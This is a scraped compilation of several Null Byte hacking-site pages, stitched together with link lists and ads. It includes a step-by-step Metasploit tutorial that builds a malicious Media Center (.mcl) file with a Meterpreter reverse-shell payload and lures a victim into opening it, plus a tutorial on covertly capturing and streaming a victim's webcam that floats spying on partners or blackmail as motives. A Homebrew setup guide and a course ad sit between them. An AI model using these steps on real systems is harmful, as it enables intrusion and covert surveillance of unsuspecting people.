hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byTheUknownPhotographer/Pexels(modified); Screenshots by tokyoneon/Null ByteRelatedHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHow To:The Ultimate Guide to Hacking macOSHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hacking macOS:How to Secretly Livestream Someone's MacBook Screen RemotelyHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Hack a Mac Password Without Changing ItHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)Hacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)Hacking macOS:How to Hack a MacBook with One Ruby CommandHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)How To:Hack MacOS with Digispark Ducky Script PayloadsHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppHacking macOS:How to Create an Undetectable PayloadHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraHacking macOS:How to Break into a MacBook Encrypted with FileVaultHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)Hacking macOS:How to Dump 1Password, KeePassX & LastPass Passwords in PlaintextMac for Hackers:How to Get Your Mac Ready for HackingNews:What REALLY Happened with the Juniper Networks Hack?News:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Install 16GB DDR3 into Unibody Macbook Pro (2011)Hacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 2 (Disguising the Script)Mac for Hackers:How to Install the Metasploit FrameworkHow To:Check Your MacOS Computer for Malware & KeyloggersNews:Ubuntu Usb on MacbookNews:"This Guy Has My MacBook"—A Tale of Evil, Redemption & the Power of the App |
Hack Like a Pro: How to Hack Windows Vista, 7, & 8 with the New Media Center Exploit « Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!Recently, Microsoft released a new patch (September 8, 2015) to close another vulnerability in their Windows Vista, 7, 8, and 8.1 operating systems. The vulnerability in question (MS15-100) enabled an attacker to gain remote access to any of these systems using a well-crafted Media Center link (MCL) file.As hackers, we need to take a multipronged approach to gaining access to a system. Gone are the days ofMS08-067that would basically allow you to remotely take control of any Windows XP, 2003, or 2008 system. Now we have to be more crafty to find a way to gain access to the system.TheAdobe flash exploitshave been, and continue to be, excellent gateways into Windows systems—if we can get the user to click on a URL link. Many applications have vulnerabilities, but before attacking those we need to know that they are on the system. That's whyreconnaissanceis so criticalThis hack is targeted to the Media Center on every Windows Vista, 7, 8, and 8.1 system. That makes it ubiquitous, but we still need to send the the victim an .mcl link to gain access to their system.Metasploitrecently added an exploit to accomplish this task and that is what we will be using here (another exploit that accomplishes the same thing without the Metasploit framework does exist in theExploit Database).Microsoft Security Bulletin MS15-100 - ImportantHere is what Microsoft said about this vulnerability (MS15-100) in theirMicrosoft Security Bulletinon TechNet:Although the vulnerability has been patched, many systems don't have automatic patching for a number of reasons, especially within corporate, large institution, and military installations.Just a warning. This hack is not for the newbie. I requires significant knowledge of both Linux and Metasploit to work.Step 1: Fire Up KaliOur first step, of course, is to fire upKali. This exploit requires that you have Ruby 2.1 on your Kali system, so if you are using Kali 1.1 or earlier, you will need to upgrade your Ruby. Kali 2.0 has the upgraded Ruby, so there's no need to upgrade.Step 2: Go to Exploit-DBNext, let's go to theExploit-DB. Under theRemote Code Execution Exploitssection, we can find the exploit under its Microsoft designation,MS15-100.Don't Miss:How to Find Exploits Using the Exploit Database in KaliWhen we select this exploit, it brings up the Metasploit code that we must add to our Metasploit framework. Copy and paste it to a text file in Kali.Step 3: Add New Module to MetasploitEarlier this year, I wrote a tutorial onhow to install a new module in Metasploit, so please refer to that if you need more help on this subject. You will need to add this module to your Metasploit framework before we can proceed. Name itms15_100_mcl.rb. It may be that by the time you read this article, Rapid7 will have added this module to the framework and you won't need to add the module, but time is critical here.Step 4: Start Metasploit & Search for New ModuleOnce you have added the module to Metasploit, start (or restart) Metasploit and search for the module to make certain it is available to you.msf > search ms15_100If you find it, we are ready to roll!Step 5: Load New ModuleWe now need to load the module:msf > use exploit/windows/fileformat/ms15_100_mclThis loads this exploit into memory.Step 6: InfoNow that we have loaded the module, let's typeinfoto see what requirements this module needs.msf > infoAs you can see, we need to provide this module both the FILENAME and FILE_NAME. One is the .mcl file (FILENAME) and the other is the malicious file (FILE_NAME) we will load on to the victim's system.Step 7: Set OptionsAs you can see in the screenshot above, this module will require that we set the name of the .mcl file (FILENAME) and the name of malicious payload (FILE_NAME). In an attempt to entice the victim to open my .mcl link, I'll call itbest_music_video_ever.mcl.msf > set FILENAME best_music_video_ever.mclmsf > set FILE_NAME best_video.exeWe also need to set a payload. In this case, I will use the Windows Meterpreter.msf > set PAYLOAD windows/meterpreter/reverse_tcpFinally, we just typeexploit.msf > exploitMetasploit saved the file at/root/msf4/local/best_music_video_ever.mcl. That is the file we need to get to the victim!Step 8: Send the MCL File to the VictimMetasploit has now created our .mcl file and opened a share on the network. We now need to send this file, one way or another, to the victim and get them to open it.Note in the screenshot above that the victim's Windows 7 system has the MCL file,best_music_video_ever.mclon their desktop.Step 9: Take Control of the SystemWhen the victim clicks on the .mcl link to watch the "Best Music Video Ever," it will connect back to our Kali system opening a Meterpreter session. In my case, the session did not automatically open in Metasploit, but when I typed:msf > sessions -lI received this response showing me that a session had been opened on the victim machine. Success!Now that I have a Meterpreter session, I can do just about anything on this system within the privileges I came in on. Since this exploit comes in with the privileges of the user, I will be limited to the privileges of the user who clicked on the .mcl file. Obviously, if we can get an administrator to click on this file, we will come in with their privileges, which would be much more powerful.Keep coming back, my tenderfoot hackers, as we explore the most valuable skill set on the planet—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How To:Get Windows Media Center for Free on Windows 8 ProHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Run an VNC Server on Win7Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterHow To:Manage pictures, videos, movies, music and TV in Windows Vista Media CenterHack Like a Pro:How to Hack into Your Suspicious, Creepy Neighbor's Computer & Spy on HimHow To:Manage digital pictures with the Windows Vista Media CenterHack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHack Like a Pro:How to Save the World from Nuclear AnnihilationNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHow To:Create Windows 7 GodModeHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:unlock the windows 7 vista hidden admin accountWeekend Homework:How to Become a Null Byte Contributor (1/12/2012)Weekend Homework:How to Become a Null Byte ContributorNews:Create Cool video tutorials - Free screen capture in Windows - part 1.How To:Restore Windows Master Boot Record on VistaHow To:Change Windows Clock To 12 Hour TimeHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:Create Cool Video Tutorials - Free Screen Capture in Windows - Part 2. |
Mac for Hackers: How to Set Up Homebrew to Install & Update Open-Source Tools « Null Byte :: WonderHowTo | After enablingdisk encryption, creatingencrypted disk images, installingKeePassXandiTerm2, and usingGitwith local repositories, the next step togetting your Mac computer ready for hackingis setting up a package manager that can install and update open-source hacking tools. There are multiple options to choose from, but Homebrew has a slight advantage.A Linux/Unix environment without a package manager means a lot of extra work on your part. So without a good package manager, any additions to the system will need to be compiled from source. Yes, you already have the Mac App Store on your macOS hacking computer, but most of the open-source pentesting tools we rely on as hackers and security professionals are not available there.Previously:Use Git to Clone, Compile & Refine Open-Source Hacking ToolsIt costs developers money to submit to the Mac App Store, and the code must be reviewed and accepted by Apple before it can be published. For some developers, this is too much of a hassle. This means we need another package manager to pull down free software such asHydra,Sshtrix,Aircrack-ng, andGNU Coreutils(if you're like me and prefer Linux flags to Unix flags), as well as dependencies for tools located on GitHub.Why Having No Package Manager SucksIf I wanted to compile Aircrack-ng from source on my macOS machine, first I would need to verify that I had all of the dependencies and that they were in the correct locations and functioning properly. I would then need to download the source for Aircrack-ng, configure it, and begin the compilation process, resolving any issues I ran into on the way.Don't Miss:Getting Started with the Aircrack-ng Suite of Wi-Fi Hacking ToolsA few months down the road, I might need to update the compiled software. To do so, I would have to remove the software from my machine, check to see which libraries are required in the latest version, and repeat the process over again — then check some to see if I have dependencies that are no longer in use (hopefully I've been tracking what I've installed in some sort of list).If I had a package manager, all of this work would be handled for me.So, What Package Manager Should You Use?There are a few package managers for macOS such asMacportsandNix, but I preferHomebrew. The syntax is very straightforward, it's fast, the packages are well-maintained and up to date, and it leverages more of macOS's default libraries instead of redundantly installing new ones. Also, everything is owned by a regular user, meaning there is no need to use sudo. But best of all, Homebrew is clean, with everything kept in its own sandbox in /usr/local.With this package manager, the source or binaries are pulled down with their requirements met. Homebrew then keeps track of what has been installed, what is using it, and where it is located. It also keeps track of configuration information and makes the whole process of maintaining open-source software on your Apple product a piece of cake.I will generally search for a package in Homebrew before cloning it from GitHub and compiling from source. If the package is missing in Homebrew, it's worth considering creating a brew formula for it. However, there aren't a lot of pentesting tools in the Homebrew repos, but there are lots of libraries and general purpose open-source tools which can come in handy.Step 1: Install HomebrewOur first step is to get Homebrew from the sitebrew.sh. Before installing, though, we shouldreview the source on GitHub. Generally,I don't like piping a scriptoff the internet, but I trust their repository. It's on GitHub, I can read the source code, and the author doesn't have access to the internals of the GitHub servers to muck about with the timing and detect cURL pipes.Open upiTermon your Mac and execute the following command./usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"It will show you what it will install, and you'll need to hitReturnto continue. You will be prompted for your password, so enter it, then it will install everything. I'm cut out some of work that was automated in iTerm2 below for brevity.==> This script will install:
/usr/local/bin/brew
/usr/local/share/doc/homebrew
/usr/local/share/man/man1/brew.1
/usr/local/share/zsh/site-functions/_brew
/usr/local/etc/bash_completion.d/brew
/usr/local/Homebrew
Press RETURN to continue or any other key to abort
==> /usr/bin/sudo /bin/mkdir -p /Library/Caches/Homebrew
Password:
.............
Cloning into '/usr/local/Homebrew/Library/Taps/homebrew/homebrew-core'...
remote: Enumerating objects: 4940, done.
remote: Counting objects: 100% (4940/4940), done.
remote: Compressing objects: 100% (4743/4743), done.
remote: Total 4940 (delta 47), reused 322 (delta 5), pack-reused 0
Receiving objects: 100% (4940/4940), 3.98 MiB | 6.91 MiB/s, done.
Resolving deltas: 100% (47/47), done.
Tapped 2 commands and 4723 formulae (4,982 files, 12.3MB).
Already up-to-date.
==> Installation successful!
==> Homebrew has enabled anonymous aggregate formulae and cask analytics.
Read the analytics documentation (and how to opt-out) here:
https://docs.brew.sh/Analytics
==> Homebrew is run entirely by unpaid volunteers. Please consider donating:
https://github.com/Homebrew/brew#donations
==> Next steps:
- Run `brew help` to get started
- Further documentation:
https://docs.brew.shStep 2: Create an Access TokenIf you search the brew repository often enough, you will want an access token since the GitHub API rate limits queries to their servers.brew search hydra
hydra
Error: GitHub API Error: API rate limit exceeded for XXXXXXXXXXXX. (But here's the good news: Authenticated requests geta a higher rate limit. Check out the documentation for more details.)
Try again in 15 minutes 25 seconds, or create a personal access token:
https://github.com/settings/tokens/new?scopes=&description=Homebrew
and then set the token as: export HOMEBREW_GITHUB_API_TOKEN="your_new_token"In order to set your token, you will need to follow the link presented to you in the terminal. If you don't see one, visitgithub.com/settings/tokens/new. You will need to login to GitHub or create a new account. If you've been following this series,you already have a GitHub account.Next, ensure the token has a description, in this case, Homebrew, then make sure the boxes are all unchecked since we only need the token — Homebrew doesn't need access to anything in our GitHub account.At the bottom of the page, click on "Generate Token." You now have a token, so let's get it working with Homebrew.Step 3: Add the TokenWe're going to have to edit a few Bash files in your home directory to get the token working, both the .bashrc and .bash_profile files. The .bashrc file is the configuration file for Bash, the default shell on macOS. The .bash_profile file is a personal initialization file executed for login shells (SSH or from the console) whereas .bashrc is the individual per-interactive-shell startup file.While we could just edit the .bash_profile and that's it, I prefer to keep all of my Bash settings in .bashrc, which ensures that no matter how the shell is spawned, I have my preferences set. Setting my .bash_profile to source my .bashrc means that if I log in from SSH, I will have the same environment as my local terminal.I'll be usingVimfor this, but if you aren't familiar with Vim, you can use the plain text editor of your choice to do it manually, or just open it with your default text editor usingopen ~/filenamein the terminal.Don't Miss:An Intro to Vim, the Unix Text Editor Every Hacker Should KnowTo use Vim, open a new iTerm window or type incdto get to your home directory. Next, type in the following command. (If you don't have a .bashrc file yet, you can create one first withtouch .bashrc).vim .bashrcNow add your token to the bottom of the .bashrc file in insert mode using the following format. Use eitheratoappendafter the cursor oritoinsertbefore the cursor.HOMEBREW_GITHUB_API_TOKEN="your_token_here"In the file, it'd look like this:HOMEBREW_GITHUB_API_TOKEN="your_token_here"
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
-- INSERT --HitEscapeto exit insert mode back into normal mode, then type:wqto save the file. The colon starts the command, andwqmeans write and quit.Next, let's edit your .bash_profile. Type in the following command. (If you don't have a .bash_profile yet, you can create one first withtouch .bash_profile).vim .bash_profileNow, at the bottom of the .bash_profile file, you could do one of two things. First, you can do exactly as above, adding the token line, or you can choose to redirect this tosource .bashrcinstead. Whichever you choose, use eitheratoappendafter the cursor oritoinsertbefore the cursor.HOMEBREW_GITHUB_API_TOKEN="your_token_here"
- OR -
source .bashrcIn the file, it'd look like the following if you choose the redirect approach:source .bashrc
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
-- INSERT --Again, hitEscapeand enter:wqto save and exit the file. Next, let's tell Bash to execute the commands in the .bashrc file as if they were executed on the command line. Only do this particular step if you addedsource .bashrcto the file, not theHOMEBREW_GITHUB_API_TOKEN="your_token_here"line.source ~/.bashrcAnd we're all done with this part. Let's move on to working with Homebrew!Step 4: View Homebrew's OptionsHomebrew has a similar feel to Linux package managers, and it's fairly easy to run. First, we'll usehelpto see some quick info on getting started.brew help
Example usage:
brew search [TEXT|/REGEX/]
brew info [FORMULA...]
brew install FORMULA...
brew update
brew upgrade [FORMULA...]
brew uninstall FORMULA...
brew list [FORMULA...]
Troubleshooting:
brew config
brew doctor
brew install --verbose --debug FORMULA
Contributing:
brew create [URL [--no-fetch]]
brew edit [FORMULA...]
Further help:
brew commands
brew help [COMMAND]
man brew
https://docs.brew.shA very simple package manager indeed. If you're already familiar withAPT, you may see a similarity. Now let's go through the steps for installing a package. I have selected the popular brute-force tool Hydra, but make sure to check out the video above which uses Sshtrix as an example.Step 5: Install a Hacking ToolFirst, we'll search to ensure the tool is available withbrew search hydra. Swap "hydra" with whatever tool it is you're trying to get.brew search hydra
hydra
homebrew/emacs/hydra-emacsNext, we'll get info on the tool, Hydra in my example, to confirm that it is what we're looking for. Use thebrew info hydracommand, swapping out "hydra" with your tool.brew info hydra
hydra: stable 8.8 (bottled), HEAD
Network logon cracker which supports many services
https://github.com/vanhauser-thc/thc-hydra
/usr/local/Cellar/hydra/8.8 (16 files, 1.5MB) *
Poured from bottle on 2019-02-20 at 10:48:44
From: https://github.com/Homebrew/homebrew-core/blob/master/Formula/hydra.rb
==> Dependencies
Build: pkg-config ✘
Required: libssh ✔, mysql-client ✔, openssl ✔
==> Options
--HEAD
Install HEAD version
==> Analytics
install: 1,358 (30 days), 4,474 (90 days), 16,693 (365 days)
install_on_request: 1,250 (30 days), 4,145 (90 days), 15,292 (365 days)
build_error: 0 (30 days)Lastly, we'll install the tool withbrew install hydramaking sure to swap out "hydra" again with your tool's name.brew install hydraWhen Homebrew finishes the tool installation, we'll have a version of Hydra (or whatever tool you ended up installing) on the macOS machine. Use the tool's name or the tool's name withhelpcommand to make sure it's installed and to see what you can do with your new hacking tool.hydra help
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-02-20 11:59:10
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
Options:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-U service module usage details
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: adam6500 asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
Example: hydra -l user -P passlist.txt ftp://192.168.0.1As you can tell from Homebrew's help page in Step 4, if you need to update, upgrade, list, uninstall, reinstall, or search any tools, it's pretty intuitive. You can also typebrew manandbrew commandsto see even more that you can do.And That's All There Is to ItInstalling and maintaining packages with Homebrew is a piece of cake, especially if you have previous Linux experience. When I am looking to install an open-source application, I almost always check Homebrew first to save time. If the package isn't available in Homebrew, then it's off to GitHub, but between the two, most of your software needs should be met.Next Up:How to Install RVM to Maintain Ruby Environments in macOSFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Homebrew; Screenshots by Barrow/Null ByteRelatedHow to Hack Like a Pro:Getting Started with MetasploitMac for Hackers:How to Install RVM to Maintain Ruby Environments in macOSMac for Hackers:How to Get Your Mac Ready for HackingHow To:Transfer Your Spotify Playlists to Google Play MusicMac for Hackers:How to Organize Your Tools by Pentest StagesHow To:Hack WPA WiFi Passwords by Cracking the WPS PINMac for Hackers:How to Install the Metasploit FrameworkHow To:Every Mac Is Vulnerable to the Shellshock Bash Exploit: Here's How to Patch OS XNews:Malware Targets Mac Users Through Well-Played Phishing AttackHow To:Hack / install the homebrew channel on a WiiHow To:Install Android 11 on Your Pixel Without Unlocking the Bootloader or Losing DataHow To:Install a Wii homebrew hack using the Twilight HackHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)How To:Get the New iWork Apps for Free in Mac OS X MavericksHow To:Easily Root Your Nexus 7 Tablet Running Android 4.3 Jelly Bean (Mac Guide)How To:Hack Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address SpoofingHow To:Get iOS 5 for Your Apple iPad, iPhone or iPod TouchHow To:Get Apple TV's New Aerial Screen Saver on Your MacHow To:Update Your Rooted Nexus to the Latest Version of Android 7.0 NougatHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)How To:Install the Oreo Beta Update on Your Essential PhoneHow To:Install Gitrob on Kali Linux to Mine GitHub for CredentialsHow To:Move the disc channel on a homebrew hacked WiiHow To:Install Android 6.0 Marshmallow on Your Nexus Right NowHow To:Install Android Q Beta on Your Essential PhoneHow To:Fix the 'Software Update Is Required to Connect to Your iPhone' Warning on Your MacAndroid for Hackers:How to Turn an Android Phone into a Hacking Device Without RootHow To:Firefox 16 Is Vulnerable to Hackers—Here's How to Downgrade to the Safer Firefox 15 VersionHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Burn an XDG3 Formatted Xbox 360 Game ISO with WindowsHow To:Burn an XDG3 Formatted Xbox 360 Game ISO with LinuxNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateHow To:Mac OS X Hit Again! How to Find and Delete the New SabPub MalwareHow To:Chain VPNs for Complete AnonymityHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Flash BenQ Xbox 360 Drives to Play XDG3 Back-upsLockdown:The InfoSecurity Guide to Securing Your Computer, Part IHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Use Cygwin to Run Linux Apps on Windows |
Make Your New Year's Resolution to Master Azure with This Bundle « Null Byte :: WonderHowTo | Microsoft has plenty of products that you're likely familiar with, especially if you work or dream of working in IT. One of the most important now and in the future will be Azure, the company's cloud computing service. You might not know it, but a significant portion of the internet runs on Azure, and that share of the web isprojected to keep growing in the coming years.If you want to make your career in IT, knowing how to master Microsoft Azure will give you a leg up on the competition. It will be key to future-proofing your skillset, giving you the tools you need to work with the growing platform and program for the popular cloud service.The 2021 Complete Microsoft Azure Certification Prep Bundleis your key to success, and you can pick it up on sale now for just $34.99!The 2021 Complete Microsoft Azure Certification Prep Bundle is the perfect place to start for any level of familiarity with Azure. If you're a beginner who is just trying to get a grasp on the fundamentals, you'll be able to pick up the basics from top-rated instructors Scott Duffy and Anand Nednur, two absolute pros who will keep the content approachable for you.If you know your way around Azure already and are looking for a way to prove your skills, this bundle has what you need as well. Throughout the six courses and more than 42 hours of expert instruction, you'll pick up the skills you need to tackle some of the top certification courses for IT professionals. These courses know what you'll face as you tackle exams and provide you with the preparation you need to take those tests with absolute confidence in your ability.This bundle will get you ready to prove your skills. Work your way through courses like AZ-104 Azure Administrator Exam Certification, AZ-204 Developing Solutions for Microsoft Azure Exam Prep, and AZ-303 Azure Architecture Technologies Certification Exam so you can come out the other side ready to enter the workforce with certifications to show your capabilities.The 2021 Complete Microsoft Azure Certification Prep Bundle is valued at $1,194, but you can get this top-selling bundleon sale now for just $34.99. That's a whopping 97% savings on a bundle that could help you start the new year by launching a new career. Don't miss this deal; grab it while you can!Check Out the Deal:The 2021 Complete Microsoft Azure Certification Prep Bundle for $34.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Lead Your Business to Success with Microsoft AzureHow To:Master Microsoft Azure with This in-Depth Training BundleNews:Kinect Graduates from Gaming to Enterprise with Project Kinect for AzureHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:Go from Total Beginner to Cloud Computing Certified with This Top-Rated Bundle of Courses, Now 98% OffNews:Microsoft's Azure Kinect Standalone Depth Sensor Powers Major Augmented Reality Improvements for $399News:You Can Master Adobe's Hottest Tools from Home for Only $34AR Dev 101:Create Cross-Platform AR Experiences with Unity & Azure Cloud, Part 1 (Downloading the Tools)News:Microsoft Launches HoloLens 2 Development Edition, Offers Free Unity Pro & PiXYZ Plugin Trial PackageHow To:Take Your Productivity to the Next Level with This Google Masterclass BundleNews:Now's the Perfect Time to Brush Up on Your Excel SkillsHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:Learn to Draw Like a Pro for Under $40News:First Images Captured by Microsoft's Project Kinect for Azure Surface OnlineNews:Lenovo's New Android-Based AR Headset Hits the HoloLens Where It Hurts — Enterprise ApplicationsHow To:Master Adobe's Top Design Tools for Under $50 Right NowNews:New Video Shows How Precise HoloLens 2.0 Depth Sensing Will BeHow To:This Top-Rated Course Will Make You a Linux MasterHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Start Managing Your Money & Investments Like a Pro with This Affordable Course BundleHow To:Become a Web Developer with This $30 BundleHow To:Learn to Code for Less Than $40How To:Save Money on Your Disney+ Subscription with These DealsHow To:Master Excel with This Certification BundleDeal Alert:Learn the Stock Market Inside & Out for Under 30 BucksHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Take Your DJ & Music Production Game to Another Level with Ableton & Logic Pro XNews:Microsoft Exec Confirms HoloLens 2 Set to Ship in SeptemberHow To:Master Python, Django, Git & GitHub with This BundleHow To:Up Your Linux Game with This $19.99 BundleHow To:Add WordPress to Your Development Toolkit with This $30 BundleHow To:Get the Most Out of Google's New Inbox by GmailHow To:This Top-Rated Bundle Will Help You Kick-Start a More Productive LifeNews:Photography Masters Cup Contest - Deadline January 28, 2011News:The Humble Bundle Strikes Again with a "Frozen" ThemeNews:Indie Game Music Bundle (Including Minecraft)News:It's Humble Indie Bundle Time! 5 Games for 'Name Your Price'How To:This Master Course Bundle on Coding Is Just $34.99Afterfall:InSanity Game Only $1 in Outlandish Plan to Reach 10 Million Pre-OrdersNews:"Snow" by Seido Ray Ronci (Poem of the Day) |
Hack Like a Pro: How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam Remotely « Null Byte :: WonderHowTo | Welcome back, my hacker novitiates!Like in my last article onremotely installing a keylogger onto somebody's computer, this guide will continue to display the abilities of Metasploit's powerful Meterpreter by hacking into the victim's webcam. This will allow us to control the webcam remotely, capturing snapshots from it.Image by TheAlieness GiselaGiardino23/FlickrWhy exactly would you want to hack into somebody's webcam? Maybe you suspect your significant other of having a fling. Or, maybe you're into blackmailing. Or, maybe you're just a creep. But the real purpose is to show just how easy it is, so you're aware that it can be done—and so you can protect yourself against it.Unlike just installing a command shell on the victim computer, the Meterpreter has the power to do numerous and nearly unlimited things on the target's computer. The key is toget the Meterpreter installedon their system first.I've shown how to do this in some ofmy previous articles, where you could get the victim toclick on a link to our malicious website, send amalicious Microsoft Office documentorAdobe Acrobat file, and more.So, now let'sfire up Metasploitandinstall Meterpreteron the victim's system. Once we have done that, we can then begin to view and capture images from their webcam.Step 1: List the Victim's WebcamsMetasploit's Meterpreter has a built-in module for controlling the remote system's webcam. The first thing we need to do is to check if there is a web cam, and if there is, get its name. We can do that by typing:meterpreter > webcam_listIf he/she has a webcam, the system will come back with a list of all the webcams.Step 2: Snap Pictures from the Victim's WebcamNow that we know he/she has a webcam, we can take a snapshot from the webcam by typing:meterpreter > webcam_snapThe system will now save a snapshot from her webcam onto our system in the directory/opt/framework3/msf3, which we can open and see what's going on.Image by Daquella manera/FlickrThe quality of the image saved all depends on your victim's webcam and surroundings.Step 3: Watch Streaming Video from the Victim's WebcamNow that we know how to capture a single snapshot from the victim's webcam, we will now want to run the webcam so that we can watch a continuous video stream. We can do this by typing;meterpreter > run webcam -p /var/wwwThis command starts his/her webcam and sends its streaming output to/var/www/webcam.htm.How to Protect Yourself from Webcam IntrusionSo, 